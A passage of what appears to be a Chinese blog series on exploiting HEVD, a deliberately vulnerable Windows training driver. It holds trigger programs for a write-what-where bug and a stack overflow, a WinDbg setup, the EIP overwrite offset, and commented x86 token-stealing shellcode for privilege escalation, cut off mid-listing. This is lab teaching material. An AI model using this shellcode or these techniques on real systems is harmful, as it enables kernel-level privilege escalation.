<span class="mi">0</span><span class="n">c</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">efd768</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000015</span><span class="w"> </span><span class="mh">0x00000125</span><span class="err">`</span><span class="mi">96031</span><span class="n">f1e</span>
<span class="mi">0</span><span class="n">d</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">efd770</span><span class="w"> </span><span class="mi">00000125</span><span class="err">`</span><span class="mi">9603</span><span class="n">b014</span><span class="w"> </span><span class="mh">0x15</span>
<span class="mi">0</span><span class="n">e</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">efd778</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">efd790</span><span class="w"> </span><span class="mh">0x00000125</span><span class="err">`</span><span class="mi">9603</span><span class="n">b014</span>
<span class="mi">0</span><span class="n">f</span><span class="w"> </span><span class="mi">00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">efd780</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mh">0x00000009</span><span class="err">`</span><span class="mi">23</span><span class="n">efd790</span>
</code></pre></div>HEVD Arbitrary Memory Overwrite2024-01-25T00:00:00+01:002024-01-25T00:00:00+01:0012138tag:None,2024-01-25:hevd-arbitrary-memory-overwrite.html<p>(所有压缩包的密码均为1)</p>
<p>references:</p>
<ul>
<li><a href="https://rootkits.xyz/blog/2017/09/kernel-write-what-where/">https://rootkits.xyz/blog/2017/09/kernel-write-what-where/</a></li>
</ul>
<p><a href="https://144.one/hevd-stackoverflow.html">环境搭建</a></p>
<h1>漏洞成因</h1>
<p>由于驱动程序未检查由用户模式传过来的地址是否位 …</p><p>(所有压缩包的密码均为1)</p>
<p>references:</p>
<ul>
<li><a href="https://rootkits.xyz/blog/2017/09/kernel-write-what-where/">https://rootkits.xyz/blog/2017/09/kernel-write-what-where/</a></li>
</ul>
<p><a href="https://144.one/hevd-stackoverflow.html">环境搭建</a></p>
<h1>漏洞成因</h1>
<p>由于驱动程序未检查由用户模式传过来的地址是否位于用户模式中,可能会导致任意内核地址的任意写(<strong>Write-What-Where</strong>)</p>
<div class="highlight"><pre><span></span><code><span class="cp">#ifdef SECURE</span>
<span class="w"> </span><span class="n">ProbeForRead</span><span class="p">((</span><span class="n">PVOID</span><span class="p">)</span><span class="n">Where</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">PULONG_PTR</span><span class="p">),</span><span class="w"> </span><span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="n">__alignof</span><span class="p">(</span><span class="n">PULONG_PTR</span><span class="p">));</span>
<span class="w"> </span><span class="n">ProbeForRead</span><span class="p">((</span><span class="n">PVOID</span><span class="p">)</span><span class="n">What</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">PULONG_PTR</span><span class="p">),</span><span class="w"> </span><span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="n">__alignof</span><span class="p">(</span><span class="n">PULONG_PTR</span><span class="p">));</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">Where</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">What</span><span class="p">);</span>
<span class="cp">#else</span>
<span class="w"> </span><span class="n">DbgPrint</span><span class="p">(</span><span class="s">"[+] Triggering Arbitrary Overwrite</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">Where</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">What</span><span class="p">);</span>
<span class="cp">#endif</span>
</code></pre></div>
<p>可以看到,安全代码使用了函数<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-probeforread">ProbeForRead</a>对用户传过来的地址进行了检查,而漏洞代码未进行任何检查,直接写入用户指定的内存地址</p>
<p>在IDA中可以看到触发漏洞函数的IO control code是0x22200B</p>
<p><img alt="image-20240125142016291" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ATGkOLZKJe.jpg"></p>
<p>查看漏洞代码:</p>
<div class="highlight"><pre><span></span><code><span class="nt">int</span><span class="w"> </span><span class="nt">__stdcall</span><span class="w"> </span><span class="nt">TriggerArbitraryOverwrite</span><span class="o">(</span><span class="nt">_WRITE_WHAT_WHERE</span><span class="w"> </span><span class="o">*</span><span class="nt">UserWriteWhatWhere</span><span class="o">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="err">unsigned</span><span class="w"> </span><span class="err">int</span><span class="w"> </span><span class="err">*What</span><span class="p">;</span><span class="w"> </span><span class="err">//</span><span class="w"> </span><span class="err">edi</span>
<span class="w"> </span><span class="err">unsigned</span><span class="w"> </span><span class="err">int</span><span class="w"> </span><span class="err">*Where</span><span class="p">;</span><span class="w"> </span><span class="err">//</span><span class="w"> </span><span class="err">ebx</span>
<span class="w"> </span><span class="err">ProbeForRead(UserWriteWhatWhere,</span><span class="w"> </span><span class="err">8u,</span><span class="w"> </span><span class="err">4u)</span><span class="p">;</span>
<span class="w"> </span><span class="err">What</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="err">UserWriteWhatWhere->What</span><span class="p">;</span>
<span class="w"> </span><span class="err">Where</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="err">UserWriteWhatWhere->Where</span><span class="p">;</span>
<span class="w"> </span><span class="err">DbgPrint("</span><span class="cp">[</span><span class="o">+</span><span class="cp">]</span><span class="w"> </span><span class="n">UserWriteWhatWhere</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="n">x</span><span class="o">%</span><span class="n">p</span><span class="err">\</span><span class="n">n</span><span class="s2">", UserWriteWhatWhere);</span>
<span class="s2"> DbgPrint("</span><span class="cp">[</span><span class="o">+</span><span class="cp">]</span><span class="w"> </span><span class="n">WRITE_WHAT_WHERE</span><span class="w"> </span><span class="n">Size</span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">x</span><span class="o">%</span><span class="n">X</span><span class="err">\</span><span class="n">n</span><span class="s2">", 8);</span>
<span class="s2"> DbgPrint("</span><span class="cp">[</span><span class="o">+</span><span class="cp">]</span><span class="w"> </span><span class="n">UserWriteWhatWhere-</span><span class="o">></span><span class="n">What</span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">x</span><span class="o">%</span><span class="n">p</span><span class="err">\</span><span class="n">n</span><span class="s2">", What);</span>
<span class="s2"> DbgPrint("</span><span class="cp">[</span><span class="o">+</span><span class="cp">]</span><span class="w"> </span><span class="n">UserWriteWhatWhere-</span><span class="o">></span><span class="n">Where</span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">x</span><span class="o">%</span><span class="n">p</span><span class="err">\</span><span class="n">n</span><span class="s2">", Where);</span>
<span class="s2"> DbgPrint("</span><span class="cp">[</span><span class="o">+</span><span class="cp">]</span><span class="w"> </span><span class="n">Triggering</span><span class="w"> </span><span class="n">Arbitrary</span><span class="w"> </span><span class="n">Overwrite</span><span class="err">\</span><span class="n">n</span><span class="err">"</span><span class="p">);</span>
<span class="w"> </span><span class="err">*Where</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="err">*What</span><span class="p">;</span>
<span class="w"> </span><span class="err">return</span><span class="w"> </span><span class="err">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>很明显,传入的是一个结构体,两个字段,一个What,一个Where</p>
<div class="highlight"><pre><span></span><code><span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_UserWriteWhatWhere</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">What</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">Where</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">_WRITE_WHAT_WHERE</span>
</code></pre></div>
<h2>触发漏洞</h2>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><malloc.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><Windows.h></span>
<span class="cp">#pragma pack(1)</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_UserWriteWhatWhere</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">What</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">Where</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">_WRITE_WHAT_WHERE</span><span class="p">;</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">driver_handle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateFileW</span><span class="p">(</span><span class="sa">L</span><span class="s">"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">HackSysExtremeVulnerableDriver"</span><span class="p">,</span><span class="w"> </span><span class="mh">0xC0000000</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="mh">0x80</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">INVALID_HANDLE_VALUE</span><span class="o">==</span><span class="n">driver_handle</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"can not open device, %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">GetLastError</span><span class="p">());</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">// io control </span>
<span class="w"> </span><span class="n">_WRITE_WHAT_WHERE</span><span class="o">*</span><span class="w"> </span><span class="n">www</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">_WRITE_WHAT_WHERE</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">_WRITE_WHAT_WHERE</span><span class="p">));</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">www</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"I've never seen malloc falied</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span><span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">// 这两个地址该怎么写我还真不知道 不过可以先随便写两个地址 看看iocode好不好使</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">what</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">where</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">whataddresss</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">reinterpret_cast</span><span class="o"><</span><span class="n">DWORD</span><span class="o">></span><span class="p">(</span><span class="o">&</span><span class="n">what</span><span class="p">);</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">whereaddresss</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">reinterpret_cast</span><span class="o"><</span><span class="n">DWORD</span><span class="o">></span><span class="p">(</span><span class="o">&</span><span class="n">where</span><span class="p">);</span>
<span class="w"> </span><span class="n">www</span><span class="o">-></span><span class="n">What</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">whataddresss</span><span class="p">;</span>
<span class="w"> </span><span class="n">www</span><span class="o">-></span><span class="n">Where</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">whereaddresss</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">BytesReturned</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// 触发漏洞 iocontrol调用之后 where的值由1变成了0 说明调用正确</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">driver_handle</span><span class="p">,</span><span class="w"> </span><span class="mh">0x22200B</span><span class="p">,</span><span class="w"> </span><span class="n">www</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">www</span><span class="p">),</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">BytesReturned</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">))</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>现在我们已经知道怎么抵达漏洞代码了,但是并不清楚如何进行利用</p>
<p>要想正确的利用该漏洞还不引起BSOD,需要用到Windows的一个未公开的函数<code>ZWQueryIntervalProfile</code>,该函数会调用系统调用<code>nt!NtQueryIntervalProfile</code>,内核函数存在于ntoskrnl.exe中,我们需要把这个文件搞到ida里看一看</p>HEVD StackOverflow2023-12-29T00:00:00+01:002023-12-29T00:00:00+01:0012138tag:None,2023-12-29:hevd-stackoverflow.html<p>(所有压缩包的密码均为1)</p>
<p>references:</p>
<ul>
<li><a href="https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/">https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/</a></li>
</ul>
<p>环境搭建比较简单,先下载个<a href="https://kark.hin.no/sysadm/samba/">x86的IE-Win7虚拟机</a>,导入两次OVF创建俩虚拟机,一个作为Debugger,另一个作为Debuggee,然后 …</p><p>(所有压缩包的密码均为1)</p>
<p>references:</p>
<ul>
<li><a href="https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/">https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/</a></li>
</ul>
<p>环境搭建比较简单,先下载个<a href="https://kark.hin.no/sysadm/samba/">x86的IE-Win7虚拟机</a>,导入两次OVF创建俩虚拟机,一个作为Debugger,另一个作为Debuggee,然后使用串口进行调试,关于Vmware的串口调试,请参考<a href="https://bilibili.com/video/BV19G4y1H7Nj/">这个视频</a>,视频中用的是CentOS,如果是使用Windows,选择使用命名管道即可</p>
<p><img alt="image-20231229162940067" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/udHTtavCkR.jpg"></p>
<p>hevd驱动、python2安装包、OSR驱动加载工具、windbgx86都打包放到<a href="https://wwea.lanzouv.com/iEnyw1jashzg">这里</a>了,hevd源码在<a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/tree/v2.0.0">这里</a></p>
<h1>漏洞成因</h1>
<p><code>HackSysExtremeVulnerableDriver-2.0.0\Driver\StackOverflow.c</code>的<code>TriggerStackOverflow</code>函数</p>
<p>92行</p>
<div class="highlight"><pre><span></span><code><span class="n">RtlCopyMemory</span><span class="p">((</span><span class="n">PVOID</span><span class="p">)</span><span class="n">KernelBuffer</span><span class="p">,</span><span class="w"> </span><span class="n">UserBuffer</span><span class="p">,</span><span class="w"> </span><span class="n">Size</span><span class="p">);</span>
</code></pre></div>
<p>第三个参数为用户控制,而KernelBuffer分配在栈上,大小固定为512字节,如果我们提供的Size大于512,则会造成栈溢出</p>
<p>看一下调用流程</p>
<p><img alt="image-20231229170007813" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/WwNQxECWhc.jpg"></p>
<p>从StackOverflowIoctlHandler函数过来,而StackOverflowIoctlHandler函数由IrpDeviceIoCtlHandler调用</p>
<p>从下面的代码可以知道,当控制代码为0x222003的时候可以进入到漏洞代码中</p>
<p><img alt="image-20231229170042436" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/OuDZcPKyRp.jpg"></p>
<h1>触发漏洞</h1>
<p>那么我们就可以构造出下面的测试代码,来触发栈溢出</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">ctypes</span><span class="o">,</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">from</span> <span class="nn">ctypes</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">def</span> <span class="nf">generate_random_string</span><span class="p">(</span><span class="n">length</span><span class="p">):</span>
<span class="n">characters</span> <span class="o">=</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span>
<span class="n">random_string</span> <span class="o">=</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">characters</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">))</span>
<span class="k">return</span> <span class="n">random_string</span>
<span class="n">kernel32</span> <span class="o">=</span> <span class="n">windll</span><span class="o">.</span><span class="n">kernel32</span>
<span class="n">hevDevice</span> <span class="o">=</span> <span class="n">kernel32</span><span class="o">.</span><span class="n">CreateFileA</span><span class="p">(</span><span class="s2">"</span><span class="se">\\\\</span><span class="s2">.</span><span class="se">\\</span><span class="s2">HackSysExtremeVulnerableDriver"</span><span class="p">,</span> <span class="mh">0xC0000000</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="kc">None</span><span class="p">,</span> <span class="mh">0x3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="kc">None</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">hevDevice</span> <span class="ow">or</span> <span class="n">hevDevice</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
<span class="nb">print</span> <span class="s2">"*** Couldn't get Device Driver handle."</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">buf</span> <span class="o">=</span> <span class="n">generate_random_string</span><span class="p">(</span><span class="mh">0x900</span><span class="p">)</span>
<span class="n">file_path</span> <span class="o">=</span> <span class="s1">'example.txt'</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
<span class="c1"># Write a string to the file</span>
<span class="n">file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>
<span class="c1"># 这里使用输入卡住脚本,确保文件被写入之后再向驱动程序发送数据</span>
<span class="n">holdon</span> <span class="o">=</span> <span class="n">raw_input</span><span class="p">()</span>
<span class="n">kernel32</span><span class="o">.</span><span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hevDevice</span><span class="p">,</span> <span class="mh">0x222003</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x900</span><span class="p">,</span> <span class="kc">None</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="kc">None</span><span class="p">,</span> <span class="kc">None</span><span class="p">)</span>
</code></pre></div>
<p>然后我们在debugger中下断点</p>
<div class="highlight"><pre><span></span><code><span class="c1"># 开启详细输出</span>
<span class="o">!</span><span class="n">sym</span><span class="w"> </span><span class="n">noisy</span>
<span class="c1"># 添加windows符号表服务器到符号搜索路径</span>
<span class="o">.</span><span class="n">symfix</span>
<span class="c1"># 将HEVD.pdb路径加入符号搜索路径</span>
<span class="o">.</span><span class="n">sympath</span><span class="o">+</span><span class="w"> </span><span class="n">C</span><span class="p">:</span>\<span class="n">Users</span>\<span class="n">IEUser</span>\<span class="n">Downloads</span>\<span class="n">hevd_vulnerable</span>\<span class="n">i386</span>
<span class="c1"># 加载符号</span>
<span class="o">.</span><span class="n">reload</span><span class="w"> </span><span class="o">/</span><span class="n">f</span>
<span class="c1"># 启用DbgPrint</span>
<span class="n">ed</span><span class="w"> </span><span class="n">Kd_DEFAULT_Mask</span><span class="w"> </span><span class="mi">8</span>
<span class="c1"># 在漏洞代码处下断点</span>
<span class="n">bp</span><span class="w"> </span><span class="n">hevd</span><span class="o">!</span><span class="n">TriggerStackOverflow</span>
</code></pre></div>
<p><img alt="image-20240101215610390" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/jHlsiaNzrk.jpg"></p>
<p>可以看到已经崩溃了,<strong>栈溢出导致返回地址被覆盖,最终导致EIP寄存器的值为我们提供的buffer中的某一偏移量的DWORD</strong>,我们可以在重启之后看一下eip寄存器的值在example.txt文件中的偏移量</p>
<p><img alt="image-20240101221701338" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/qgINqYcYVd.jpg"></p>
<p>偏移量0x820,也就是说我们在输入的buffer的0x820偏移处写入我们的shellcode地址即以内核模式执行代码,<strong>有一点需要注意的是,当我们的用户模式的代码和驱动进行通信时,此时驱动代码是可以访问到用户模式中的内存的</strong>,因此我们可以直接在python代码中分配内存,然后更改内存保护属性为可执行即可</p>
<h1>编写EXP</h1>
<p>在本例中,我们将利用该漏洞进行本地提权</p>
<p>回顾一下我们现在都有什么条件</p>
<ul>
<li>控制EIP的值</li>
<li>可以写入shellcode</li>
</ul>
<p>这两个条件结合起来就是任意代码执行,我们可以通过token替换来将目标程序的token替换成System进程(PID=4)的token</p>
<p>汇编代码及注释如下:</p>
<div class="highlight"><pre><span></span><code><span class="err">'</span><span class="w"> </span><span class="err">从</span><span class="nl">fs:</span><span class="err">[00000124</span><span class="nf">h</span><span class="p">]</span><span class="err">获取到当前进程的</span><span class="no">ETHREAD结构体地址</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="no">fs</span><span class="p">:[</span><span class="mi">0x124</span><span class="p">]</span>
<span class="err">'</span><span class="w"> </span><span class="nf">KTHREAD是ETHREAD的第一个成员</span><span class="err">,因此两者的地址</span>
<span class="err">'</span><span class="w"> </span><span class="err">是相同的,</span><span class="nf">KTHREAD往后偏西0x40</span><span class="err">,获取到</span><span class="no">_KAPC_STATE结构体的地址</span>
<span class="nf">add</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="w"> </span><span class="mi">0x40</span>
<span class="err">'</span><span class="w"> </span><span class="nf">_KAPC_STATE结构体的0x10偏移的值就是KPROCESS结构体的地址</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">eax</span><span class="err">+</span><span class="mi">0x10</span><span class="p">]</span>
<span class="err">’</span><span class="w"> </span><span class="err">和</span><span class="nf">ETHREAD相同</span><span class="err">,</span><span class="no">KPROCESS是EPROCESS的第一个字段</span><span class="err">,因此这两个结构体的地址也是相同的</span>
<span class="err">'</span><span class="w"> </span><span class="nf">EPROCESS的0xb8偏移是ActiveProcessLinks</span><span class="err">,一个</span><span class="no">_LIST_ENTRY结构体</span><span class="err">,通过这个字段</span>
<span class="err">'</span><span class="w"> </span><span class="err">我们可以遍历当前系统中所有的活动进程</span>
<span class="err">'</span><span class="w"> </span><span class="err">把这个字段的地址记录下来,后面要用</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">ecx</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">eax</span><span class="err">+</span><span class="mi">0x0b8</span><span class="p">]</span>
<span class="err">'</span><span class="w"> </span><span class="err">开始遍历进程链表,找到</span><span class="nf">PID</span><span class="err">=</span><span class="mi">4</span><span class="err">的进程</span>
<span class="err">'</span><span class="w"> </span><span class="err">获取</span><span class="nf">flink的地址</span><span class="err">,那么这个值就是下一个进程中</span><span class="no">ActiveProcessLinks字段的地址</span>
<span class="err">'</span><span class="w"> </span><span class="err">使用这个地址减去</span><span class="nf">ActiveProcessLinks字段在EPROCESS结构体中的偏移</span><span class="err">,即可得到</span>
<span class="err">'</span><span class="w"> </span><span class="nf">EPROCESS结构体的地址</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">ecx</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">ecx</span><span class="p">]</span>
<span class="err">'</span><span class="w"> </span><span class="nf">ecx需要进行循环</span><span class="err">,所以我们把他的值放到</span><span class="no">esi中进行后续的操作</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="no">ecx</span>
<span class="nf">sub</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="mi">0xb8</span>
<span class="err">'</span><span class="w"> </span><span class="nf">EPROCESS的0xb4偏移是UniqueProcessId字段</span><span class="err">,就是进程的</span><span class="no">ID</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">esi</span><span class="err">+</span><span class="mi">0xb4</span><span class="p">]</span>
<span class="err">'</span><span class="w"> </span><span class="err">检查</span><span class="nf">PID是否为4</span>
<span class="nf">cmp</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="mi">4</span>
<span class="err">'</span><span class="w"> </span><span class="err">如果不是,就跳回循环开头</span>
<span class="err">'</span><span class="w"> </span><span class="err">关于这条指令的构造过程,可以参考这篇文章:</span><span class="nl">https:</span><span class="c1">//blog.csdn.net/ma_de_hao_mei_le/article/details/135275941</span>
<span class="c1"># jnz 0xffffffed</span>
<span class="err">"\</span><span class="nf">x75</span><span class="err">\</span><span class="no">xEB</span><span class="err">"</span>
<span class="err">'</span><span class="w"> </span><span class="err">如果找到了</span><span class="nf">System进程</span><span class="err">,那么我们需要把他的</span><span class="no">token取出来</span>
<span class="err">'</span><span class="w"> </span><span class="nf">Token字段在EPROCESS中的偏移是0xf8</span><span class="err">,此时</span><span class="no">ecx是ActiveProcessLinks字段的地址</span>
<span class="err">'</span><span class="w"> </span><span class="err">减去0</span><span class="nf">xb8获取到EPROCESS地址</span><span class="err">,再加上</span><span class="mi">0xf8</span><span class="err">获取到</span><span class="no">Token字段的地址</span><span class="err">,那么直接加上</span><span class="mi">0x40</span><span class="err">取值即可</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">edi</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">ecx</span><span class="err">+</span><span class="mi">0x40</span><span class="p">]</span>
<span class="err">'</span><span class="w"> </span><span class="err">然后我们再进行一次循环获取到待提权进程的</span><span class="nf">Token地址</span><span class="err">,将</span><span class="no">edi写入即可</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">ecx</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">ecx</span><span class="p">]</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="no">ecx</span>
<span class="nf">sub</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="mi">0xb8</span>
<span class="nf">mov</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">esi</span><span class="err">+</span><span class="mi">0xb4</span><span class="p">]</span>
<span class="nf">cmp</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="mi">0xC44</span>
<span class="c1"># jnz 0xffffffea</span>
<span class="err">"\</span><span class="nf">x75</span><span class="err">\</span><span class="no">xE8</span><span class="err">"</span>
<span class="err">'</span><span class="w"> </span><span class="err">获取到目标进程的</span><span class="nf">Token字段地址</span>
<span class="nf">lea</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">ecx</span><span class="err">+</span><span class="mi">0x40</span><span class="p">]</span>
<span class="err">'</span><span class="w"> </span><span class="err">写入</span><span class="nf">System进程的Token</span>
<span class="nf">mov</span><span class="w"> </span><span class="p">[</span><span class="no">esi</span><span class="p">],</span><span class="w"> </span><span class="no">edi</span>
